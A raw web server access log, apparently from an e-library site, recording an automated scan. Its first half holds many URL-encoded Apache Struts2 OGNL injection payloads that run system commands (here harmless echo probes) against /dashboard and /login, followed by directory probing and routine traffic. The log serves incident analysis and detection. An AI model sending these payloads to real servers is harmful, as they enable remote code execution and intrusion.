/dashboard/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:43 -0400] "GET /dashboard&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec('echo%20ccvaevcc').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)('meh')%5D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:43 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:43 -0400] "GET /dashboard%25%7B%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22,%22ccvaevcc%22%7D)).redirectErrorStream(true).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char%5B50000%5D,%23d.read(%23e),%23f=%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),%23f.getWriter().println(new%20java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:44 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:44 -0400] "GET /dashboard?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:45 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:45 -0400] "GET /dashboard/$%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo%20ccvaevcc').getInputStream()),%23q%7D.action HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:46 -0400] "GET /dashboard?redirect%3A%24%7B7934094%2B4399641%7D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:46 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:47 -0400] "GET /dashboard?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:47 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:47 -0400] "POST /dashboard HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:48 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:49 -0400] "GET /dashboard?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:51 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:54 -0400] "GET /dashboard/%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr=%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D+602+53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:55 -0400] "GET /dashboard/(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr=%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:07:56 -0400] "POST /dashboard HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:56 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:57 -0400] "POST /dashboard HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:57 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:57 -0400] "POST /dashboard HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:58 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:58 -0400] "POST /dashboard HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:58 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:07:59 -0400] "GET /dashboard?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:07:59 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:00 -0400] "GET /dashboard/$%7B7176282+8558799%7D/index.action HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:08:00 -0400] "GET /dashboard HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:01 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:02 -0400] "POST /login HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:02 -0400] "GET /login?error=true HTTP/1.1" 200 4296 127.0.0.1 - - [02/May/2023:00:08:03 -0400] "GET /login?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:04 -0400] "GET /login?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:04 -0400] "GET /login?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:05 -0400] "POST /login HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:05 -0400] "GET /login?error=true HTTP/1.1" 200 4296 127.0.0.1 - - [02/May/2023:00:08:06 -0400] "GET /login/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:08:07 -0400] "GET /login&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec('echo%20ccvaevcc').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)('meh')%5D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:07 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:08 -0400] "GET /login%25%7B%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22,%22ccvaevcc%22%7D)).redirectErrorStream(true).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char%5B50000%5D,%23d.read(%23e),%23f=%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),%23f.getWriter().println(new%20java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:08 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:08 -0400] "GET /login?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:09 -0400] "GET /login/$%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo%20ccvaevcc').getInputStream()),%23q%7D.action HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:08:10 -0400] "GET /login?redirect%3A%24%7B5620279%2B4579549%7D HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:10 -0400] "GET /login?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:11 -0400] "POST /login HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:11 -0400] "GET /login?error=true HTTP/1.1" 200 4296 127.0.0.1 - - [02/May/2023:00:08:12 -0400] "GET /login?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:13 -0400] "GET /login/%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr=%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D+602+53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:08:18 -0400] "GET /login/(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr=%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:08:19 -0400] "POST /login HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:19 -0400] "GET /login?error=true HTTP/1.1" 200 4296 127.0.0.1 - - [02/May/2023:00:08:20 -0400] "POST /login HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:20 -0400] "GET /login?error=true HTTP/1.1" 200 4296 127.0.0.1 - - [02/May/2023:00:08:21 -0400] "POST /login HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:21 -0400] "GET /login?error=true HTTP/1.1" 200 4296 127.0.0.1 - - [02/May/2023:00:08:21 -0400] "POST /login HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:00:08:22 -0400] "GET /login?error=true HTTP/1.1" 200 4296 127.0.0.1 - - [02/May/2023:00:08:22 -0400] "GET /login?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:08:23 -0400] "GET /login/$%7B1837853+2970976%7D/index.action HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:08:23 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:00:09:14 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/org/apache/jsp/WEB_002dINF/?C=S;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:00:16:35 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/org/apache/jsp/WEB_002dINF/?C=M;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:01:40:00 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:01:40:00 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:01:40:01 -0400] "GET /images/CSG%20elibrary%20Logo.png HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:01:40:01 -0400] "GET /css/new-style.css HTTP/1.1" 200 5564 127.0.0.1 - - [02/May/2023:01:40:01 -0400] "GET /images/Pocket_textbooks_LOGO.png HTTP/1.1" 200 69538 127.0.0.1 - - [02/May/2023:01:40:01 -0400] "GET /images/eLibrary%20Pro%20Logo%20-%20Powered%20by%203.png HTTP/1.1" 200 213908 127.0.0.1 - - [02/May/2023:01:40:01 -0400] "GET /images/bg.png HTTP/1.1" 200 166566 127.0.0.1 - - [02/May/2023:01:40:01 -0400] "GET /fonts/opensans-regular-webfont.woff2 HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:01:40:01 -0400] "GET /fonts/opensans-regular-webfont.woff HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:01:40:02 -0400] "GET /fonts/opensans-regular-webfont.ttf HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:02:00:01 -0400] "POST /getToken HTTP/1.1" 200 24 127.0.0.1 - - [02/May/2023:02:00:02 -0400] "POST /pdf-manager/updateUserRest HTTP/1.1" 200 84 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /wordpress HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /wp HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /bc HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /bk HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /backup HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:24 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:25 -0400] "HEAD /old HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:25 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:25 -0400] "HEAD /new HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:25 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:25 -0400] "HEAD /main HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:25 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:06:25 -0400] "HEAD /home HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:06:25 -0400] "HEAD /login HTTP/1.1" 200 - 127.0.0.1 - - [02/May/2023:02:36:03 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:02:36:04 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:02:49:19 -0400] "GET /.well-known/assetlinks.json HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:03:18:27 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:03:18:27 -0400] "GET /login HTTP/1.1" 200 4254 45.79.181.94 - - [02/May/2023:03:23:35 -0400] "-" 400 - 127.0.0.1 - - [02/May/2023:04:34:52 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:04:34:52 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:04:34:52 -0400] "GET / HTTP/1.1" 302 - 45.79.181.94 - - [02/May/2023:04:45:37 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:05:12:15 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:05:16:56 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:05:16:57 -0400] "GET /login HTTP/1.1" 200 4254 198.235.24.241 - - [02/May/2023:05:25:35 -0400] "3v$F|5V:/*ŝXW h/+0,'# ($" 400 - 127.0.0.1 - - [02/May/2023:05:28:42 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:05:28:42 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:05:28:44 -0400] "GET /webapps/examples/jsp/security/protected/%3C%25=%20response.encodeURL(%22index.jsp?logoff=true%22)%20%25%3E HTTP/1.1" 404 1154 127.0.0.1 - - [02/May/2023:06:00:50 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:06:00:51 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:06:00:51 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:06:00:51 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:06:00:52 -0400] "GET /css/new-style.css HTTP/1.1" 200 5564 127.0.0.1 - - [02/May/2023:06:00:52 -0400] "GET /images/CSG%20elibrary%20Logo.png HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:06:00:52 -0400] "GET /images/Pocket_textbooks_LOGO.png HTTP/1.1" 200 69538 127.0.0.1 - - [02/May/2023:06:00:52 -0400] "GET /images/bg.png HTTP/1.1" 200 166566 127.0.0.1 - - [02/May/2023:06:00:53 -0400] "GET /images/elibrary2.png HTTP/1.1" 200 3119896 127.0.0.1 - - [02/May/2023:06:00:53 -0400] "GET /images/eLibrary%20Pro%20Logo%20-%20Powered%20by%203.png HTTP/1.1" 200 213908 127.0.0.1 - - [02/May/2023:06:00:53 -0400] "GET /fonts/opensans-regular-webfont.woff2 HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:06:00:53 -0400] "GET /fonts/opensans-regular-webfont.woff HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:06:00:54 -0400] "GET /fonts/opensans-regular-webfont.ttf HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:06:14:00 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:06:14:00 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:06:14:00 -0400] "GET /css/new-style.css HTTP/1.1" 200 5564 127.0.0.1 - - [02/May/2023:06:14:00 -0400] "GET /images/CSG%20elibrary%20Logo.png HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:06:14:00 -0400] "GET /images/Pocket_textbooks_LOGO.png HTTP/1.1" 200 69538 127.0.0.1 - - [02/May/2023:06:14:00 -0400] "GET /images/eLibrary%20Pro%20Logo%20-%20Powered%20by%203.png HTTP/1.1" 200 213908 127.0.0.1 - - [02/May/2023:06:14:00 -0400] "GET /images/bg.png HTTP/1.1" 200 166566 127.0.0.1 - - [02/May/2023:06:14:00 -0400] "GET /fonts/opensans-regular-webfont.woff2 HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:06:14:02 -0400] "GET /fonts/opensans-regular-webfont.woff HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:06:14:02 -0400] "GET /fonts/opensans-regular-webfont.ttf HTTP/1.1" 404 990 127.0.0.1 - - [02/May/2023:06:14:03 -0400] "GET /images/elibrary2.png HTTP/1.1" 200 3119896 127.0.0.1 - - [02/May/2023:06:48:52 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:06:48:52 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:06:49:02 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:07:42:32 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:07:42:32 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:07:45:27 -0400] "GET /webapps/examples/jsp/tagplugin/if.jsp HTTP/1.1" 404 1066 127.0.0.1 - - [02/May/2023:07:51:07 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:07:51:14 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:08:42:17 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:08:42:18 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:08:45:33 -0400] "GET /webapps/examples/jsp/jsp2/jspattribute/HelloWorldSimpleTag.java.html HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:09:39:06 -0400] "GET /class.api.php HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:09:39:06 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:10:30:01 -0400] "GET /temp?C=M%3BO%3DA HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:10:30:12 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:10:36:25 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [02/May/2023:10:36:25 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [02/May/2023:10:40:47 -0400] "GET /temp/ehcache_auto_created421575458375248574diskstore/?C=D;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [02/May/2023:10:40:51 -0400] "GET /temp/ehcache_auto_created7723303638925831238diskstore/?C=M;O=D HTTP/1.1" 200 2145 127.0.0.1 - - 